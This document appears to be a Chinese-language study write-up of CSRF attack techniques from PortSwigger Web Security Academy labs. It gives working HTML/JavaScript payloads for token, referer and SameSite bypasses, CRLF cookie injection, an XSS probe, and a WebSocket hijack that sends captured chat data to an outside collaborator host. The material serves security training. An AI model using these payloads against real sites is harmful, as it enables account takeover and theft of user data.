一、什么是跨站点请求伪造 (CSRF)
跨站点请求伪造(也称为 CSRF)是一个 Web 安全漏洞,允许攻击者诱使用户执行他们不打算执行的操作。
二、如何利用跨站点请求伪造 (CSRF)
1、没有防御措施的 CSRF 漏洞
(1)在 Burp Suite 中选择要测试或利用的请求。
(2)从右键,选择参与工具 / 生成 CSRF PoC。(3)Burp Suite 将生成一些 HTML 来触发选定的请求(减去 cookie,这将由受害者的浏览器自动添加)
(4)调整CSRF PoC生成器中的各种选项,以微调攻击的各个方面。
(5)将生成的 HTML 复制到网页中,当从受害者从浏览器中查看该地址,将成功发出并发生所需操作。
2、通过修改请求方法绕过令牌验证
应用程序在使用 POST 方法时正确验证令牌,但在使用 GET 方法时跳过验证。
<img src="get请求">
3、通过缺省令牌参数方式绕过令牌验证
应用程序会在令牌存在时正确验证令牌,但如果省略令牌,则跳过验证。
4、当令牌未绑定到用户会话,存在绕过
应用程序不会验证令牌是否属于发出请求的用户所在的同一会话。相反,应用程序维护它已颁发的令牌的全局池,并接受此池中显示的任何令牌,可通过重新构造本地令牌进行绕过。
5、当令牌绑定到非cookie会话,存在绕过
应用程序确实将 CSRF 令牌绑定到 cookie,但不绑定到用于跟踪会话的同一 cookie。当应用程序使用两个不同的框架时,很容易发生这种情况,一个用于会话处理,一个用于CSRF保护。可通过设置cookie中CSRF进行绕过。
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<img src="https://0a3e005e046cfa2880098f5d00d600dc.web-security-academy.net/?search=1%0d%0acsrfKey=tweLSSpcafxNbRQj7EypJZuTKoDcVxh4%3b%20SameSite=None">
<body>
<form action="https://0a3e005e046cfa2880098f5d00d600dc.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="wiener@normal-user.net" />
<input type="hidden" name="csrf" value="q6AEUqR1lIvR6onMzuXiq12XxcOe37Aw" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
6、当从 cookie 复制csfr令牌时,存在绕过
应用程序不维护已颁发令牌的任何服务器端记录,而是在 cookie 和请求参数中复制每个令牌。验证后续请求时,应用程序只需验证在请求参数中提交的令牌是否与 Cookie 中提交的值匹配。这有时被称为针对 CSRF 的“双重提交”防御,提倡这样做是因为它易于实现并且不需要任何服务器端状态。
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://0aed008b03104606c176817b00a90088.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="iener@normal-user.net" />
<input type="hidden" name="csrf" value="1234abcd" />
</form>
<img src="https://0aed008b03104606c176817b00a90088.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=1234abcd%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
</body>
</html>
7、通过更改referer标头,进行绕过
默认值: 一般浏览器的默认值是 no-referrer-when-downgrade
no-referrer: 所有请求不发送 referrer
no-referrer-when-downgrade: 当请求安全级别下降时不发送 referrer。目前,只有一种情况会发生安全级别下降,即从 HTTPS 到 HTTP。HTTPS 到 HTTP 的资源引用和链接跳转都不会发送 referrer。
same-origin:对于同源的链接和引用,会发送referrer,其他的不会。
origin:会发送 referrer,但只会发送源信息。源信息包括访问协议和域名。
strict-origin:这个相当于 origin 和 no-referrer-when-downgrade 的 AND 合体。即在安全级别下降时不发送 referrer;安全级别未下降时发送源信息。
注意:这个是新加的标准,有些浏览器可能还不支持。
origin-when-cross-origin:这个相当于 origin 和 same-origin 的 OR 合体。同源的链接和引用,会发送完全的 referrer 信息;但非同源链接和引用时,只发送源信息。
strict-origin-when-cross-origin:这个比较复杂,同源的链接和引用,会发送 referrer。安全级别下降时不发送 referrer。其它情况下发送源信息。注意:这个是新加的标准,有些浏览器可能还不支持。
unsafe-url:无论是否发生协议降级,无论是本站链接还是站外链接,统统都发送 Referrer 信息。正如其名,这是最宽松而最不安全的策略。
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<meta name="referrer" content="no-referrer">
<script>history.pushState('', '', '/')</script>
<form action="https://0ab00049036178f9c075a16100410058.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="ner@normal-user.net" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
8、通过规避引用器的验证,进行绕过
利用服务器标头设置:Referrer-Policy: unsafe-url (无论是同源请求还是非同源请求,都发送完整的 URL(移除参数信息之后)作为引用地址。(最不安全的策略了))
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/0a06008503daaebbc0dd4d7500ab0047.web-security-academy.net')</script>
<form action="https://0a06008503daaebbc0dd4d7500ab0047.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="ner@normal-user.net" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
9、通过方法覆盖绕过 SameSite Lax
一些框架也提供了覆盖请求行中指定的方法的方法。例如:
<script>
document.location = "https://0ad200b9042018c884b87ec800f300a4.web-security-academy.net/my-account/change-email?email=pwned@web-security-academy.net&_method=POST";
</script>
10、 通过客户端重定向绕过 SameSite Strict
就浏览器而言,一些客户端重定向根本不是真正的重定向;生成的请求仅被视为普通的独立请求。由于是同一站点请求,因此,无论存在任何限制,都将包括与该站点相关的所有 cookie。
<script>
document.location="https://0abf003a04719b9a80c817fa001100d5.web-security-academy.net/post/comment/confirmation?postId=2/../../my-account/change-email?email=11dcc11cr%40normal-user.net%26submit=1";
</script>
11、通过同级域的 SameSite Strict 绕过
寻找同级域名可利用点,如:xss
注入点为其他二级域名:
https://cms-0aee005f03f2def9801c2b58007100ed.web-security-academ/login?username=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&password=d
构造websocket 请求,如果是同站,则会直接卸载cookies
<script>
var ws = new WebSocket('wss://0aee005f03f2def9801c2b58007100ed.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://yuwa3t1pbdn1np3feu8r0vkiw925qvek.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
12、通过 Cookie 刷新绕过 SameSite Slack
<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="pwned@portswigger.net">
</form>
<p>Click anywhere on the page</p>
<script>
window.onclick = () => {
window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
}
function changeEmail() {
document.forms[0].submit();
}
</script>
13、Referer 验证中断的 CSRF
原理:通过在referer字段拼接原站点,绕过宽泛的防御。
1、请求头部
Referrer-Policy: unsafe-url
Referrer-Policy是一个HTTP头部字段,用于控制当浏览器从一个页面跳转到另一个页面时,是否发送当前页面的URL(即referrer)到目标页面。
2、请求体:
history.pushState("", "", "/?YOUR-LAB-ID.web-security-academy.net")
history.pushState
方法接受三个参数:
- stateObject:一个与新的历史记录条目相关联的JavaScript对象。这个对象可以是任何可以被序列化的值,它将在后续的
popstate
事件事件中作为event.state
属性返回。注意,这个对象不会被修改,只是与新的历史记录条目相关联。 - title:新页面的标题。尽管现代浏览器大多忽略这个参数,但它仍然是必须的。为了兼容性,可以传递一个空字符串。
- newURL:新的URL地址。这个地址应该是同源的,即与当前页面具有相同的协议、域名和端口。如果省略该参数或设置为
null
,则URL不会改变,但历史记录条目仍然会被添加。
Hello, world!
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a6600bb04b7120480d8217b009700cc.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="ener@normal-user.net" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/?0a6600bb04b7120480d8217b009700cc.web-security-academy.net/my-account/change-email');
document.forms[0].submit();
</script>
</body>
</html>